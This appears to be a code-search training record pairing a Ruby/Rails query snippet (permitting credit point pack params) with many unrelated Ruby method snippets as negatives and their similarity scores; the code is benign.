@credit_point_pack = CreditPointPack.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup_handler\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def before_dispatch(env); end",
"def process_action(...)\n send_action(...)\n end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def action\n end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def config(action, *args); end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def before_action \n end",
"def action\n end",
"def setup\n # override this if needed\n end",
"def matt_custom_action_begin(label); end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def setup_signals; end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def lookup_action; end",
"def around_hooks; end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def action_target()\n \n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def callback_phase\n super\n end",
"def advice\n end",
"def call\n setup_context\n super\n end",
"def _handle_action_missing(*args); end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def duas1(action)\n action.call\n action.call\nend"
] |
[
"0.6162554",
"0.60452986",
"0.5945278",
"0.59169763",
"0.58877826",
"0.5834763",
"0.5775349",
"0.5704972",
"0.5704972",
"0.56543803",
"0.5621491",
"0.5427202",
"0.54093206",
"0.54093206",
"0.54093206",
"0.53975695",
"0.53776276",
"0.53562194",
"0.5340594",
"0.5337824",
"0.5328757",
"0.5310255",
"0.5300339",
"0.5298796",
"0.5295774",
"0.5256034",
"0.5243039",
"0.5236007",
"0.5235239",
"0.5235239",
"0.5235239",
"0.5235239",
"0.5235239",
"0.52321917",
"0.5227032",
"0.52216744",
"0.5216349",
"0.52161187",
"0.5210265",
"0.5207244",
"0.5177388",
"0.5177142",
"0.51747334",
"0.516293",
"0.51629275",
"0.5155534",
"0.51540613",
"0.515197",
"0.5151636",
"0.5145279",
"0.51380795",
"0.5135777",
"0.5117378",
"0.5115066",
"0.5115066",
"0.5110235",
"0.5106418",
"0.50917816",
"0.50909185",
"0.50855017",
"0.5082105",
"0.506359",
"0.5055345",
"0.50546116",
"0.50523037",
"0.50523037",
"0.50327307",
"0.5024364",
"0.5021113",
"0.50174654",
"0.50163317",
"0.5000553",
"0.50002855",
"0.49991882",
"0.49905527",
"0.49905527",
"0.49849054",
"0.4982546",
"0.4980941",
"0.4979153",
"0.49693102",
"0.4967172",
"0.49594432",
"0.49564302",
"0.49552485",
"0.49533385",
"0.49506924",
"0.49452737",
"0.49442786",
"0.49347955",
"0.49341312",
"0.49295264",
"0.49261844",
"0.4925649",
"0.49251428",
"0.4920729",
"0.49177617",
"0.4916373",
"0.49158472",
"0.4915794",
"0.49156648"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def credit_point_pack_params
params.require(:credit_point_pack).permit(:name, :number_of_points, :price, :available)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
redefine the logger methods TODO define the color method for the log output
|
def colorNormal
puts "\033[0m"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def colorize_logging; end",
"def colorize_logging=(_arg0); end",
"def log_formatter; end",
"def log_formatter; end",
"def yellow_log_formatter()\n orig_formatter = ::Logger::Formatter.new\n\n proc do |s,dt,pn,msg|\n \"#{CLEAR}#{YELLOW}#{orig_formatter.call(s,dt,pn,msg)}#{CLEAR}\"\n end\n end",
"def logger_output; end",
"def configure_logging(logger)\n logger.level = LOG_LEVEL\n logger.datetime_format = '%Y-%m-%d %H:%M:%S'\n logger.formatter = proc do |severity, datetime, progname, msg|\n color = case severity\n when \"DEBUG\" then :light_white\n when \"INFO\" then :light_yellow\n when \"WARN\" then :light_red\n when \"ERROR\" then :blue\n when \"FATAL\" then :magenta\n when \"UNKNOWN\" then :cyan\n end\n \"#{datetime}: #{msg.colorize(color)}\\n\"\n end\n logger\nend",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def log(s, type = :info)\n\t\tcolor = :gray\n\t\tcase type\n\t\twhen :error\n\t\t\tcolor = :red\n\t\twhen :warning\n\t\t\tcolor = :yellow\n\t\twhen :debug\n\t\t\tcolor = :purple\n\t\tend\n\t\tsuper _fmt(color, s), type\n\tend",
"def log_writer; end",
"def set_loggers_format\n [@logger, @logger_stderr].each do |logger|\n logger.formatter = proc do |severity, _datetime, progname, msg|\n # If the message already has control characters, don't colorize it\n keep_original_color = msg.include? \"\\u001b\"\n message = \"[#{Time.now.utc.strftime('%F %T')} (PID #{$PROCESS_ID} / TID #{Thread.current.object_id})] #{severity.rjust(5)} - [ #{progname} ] - \"\n message << \"#{msg}\\n\" unless keep_original_color\n LEVELS_MODIFIERS[severity.downcase.to_sym].each do |modifier|\n message = message.send(modifier)\n end\n message << \"#{msg}\\n\" if keep_original_color\n message\n end\n end\n end",
"def log_formatter=(_arg0); end",
"def log_formatter=(_arg0); end",
"def log( *msg )\n\t\t\toutput = colorize( msg.flatten.join(' '), 'cyan' )\n\t\t\t$stderr.puts( output )\n\t\tend",
"def colorize_log(msg)\n ACTIONS.each { |a| msg = color(msg, a[:color]) if msg.downcase.include?(a[:match]) }\n return msg\n end",
"def to_color_log\n @lines.map.with_index do |val, i|\n case val[0][:status] \n when \" \"\n \"\\033[90m#{i} #{val[0][:status]} #{val[0][:string]}\\033[0m\"\n when \"+\"\n \"\\033[32m#{i} #{val[0][:status]} #{val[0][:string]}\\033[0m\"\n when \"-\"\n \"\\033[31m#{i} #{val[0][:status]} #{val[0][:string]}\\033[0m\"\n when \"*\"\n \"\\033[36m#{i} #{val[0][:status]} #{val[0][:string]}\\033[0m\"\n end\n end.join(\"\\n\") + \"\\n\"\n end",
"def logger=(writer); end",
"def logger=(writer); end",
"def logger=(writer); end",
"def logger=(writer); end",
"def logger=(writer); end",
"def method_missing(method, *args, &block)\n super unless term_colorizer_methods.include? method\n self.class.send(:define_method, method) do\n str = self\n str = add_normal_color(str, method) if color_methods.include? method\n str = add_bright_color(str, method) if bright_color_methods.include? method\n str = add_bg_color(str, method) if bg_color_methods.include? method\n str = add_underline(str) if \"underline\".eql? method.to_s\n str = add_strikethrough_effect(str) if \"strikethrough\".eql? method.to_s\n str = str + \"\\e[0m\" unless str.end_with? \"\\e[0m\"\n str\n end and self.send(method, *args)\n end",
"def log(msg, color: \"default\", io: $stdout, &block)\n io.puts \"#{Time.now.strftime('%Y/%m/%d %H:%M:%S').colorize(:light_black)} #{msg.to_s.colorize(color.to_sym)}\"\nend",
"def colored\n\n bold = \"\\x1b[1m\"\n color = \"\\x1b[34m\"\n reset = \"\\x1b[0m\"\n\n pattern = []\n pattern << \"#{bold}#{color}[AWS\"\n pattern << \":service\"\n pattern << \":http_response_status\"\n pattern << \":duration\"\n pattern << \":retry_count retries]#{reset}#{bold}\"\n pattern << \":operation(:options)\"\n pattern << \":error_class\"\n pattern << \":error_message#{reset}\"\n\n LogFormatter.new(pattern.join(' ') + \"\\n\")\n\n end",
"def logger ; @log end",
"def logger_level; end",
"def log_red(message, newline = true)\n log @logger.red(message), newline\n end",
"def configure_logger_for(classname, methodname)\n logger = CustomLogger.new(get_log_path, shift_age = LOG_MAX_FILES, shift_size = LOG_MAX_SIZE)\n logger.level = get_log_level\n logger\n end",
"def log(level, msg)\n puts \"#{level}, #{@org} Customization: #{msg}\"\n end",
"def log=(logger); end",
"def logger=(logger); end",
"def logger=(logger); end",
"def log_level; end",
"def log_level; end",
"def log_level=(_arg0); end",
"def log_level=(_arg0); end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log_output(color: false)\n return unless defined? @log_device\n if color\n @log_device.string\n else\n ANSI.unansi(@log_device.string)\n end\n end",
"def render_log(log)\n # Borrow private method from colorize gem.\n log.send(:scan_for_colors).map do |mode, color, background, text|\n if [mode, color, background].all?(&:nil?)\n text\n else\n style = []\n\n case mode.to_i\n when 1\n style << 'font-weight: bold;'\n when 4\n style << 'text-decoration: underline;'\n end\n\n if name = render_color(color.to_i - 30)\n style << \"color: #{name};\"\n end\n if name = render_color(background.to_i - 40)\n style << \"background-color: #{name};\"\n end\n\n content_tag(:span, text, style: style.join(' '))\n end\n end.join.gsub(\"\\n\", '<br>')\n end",
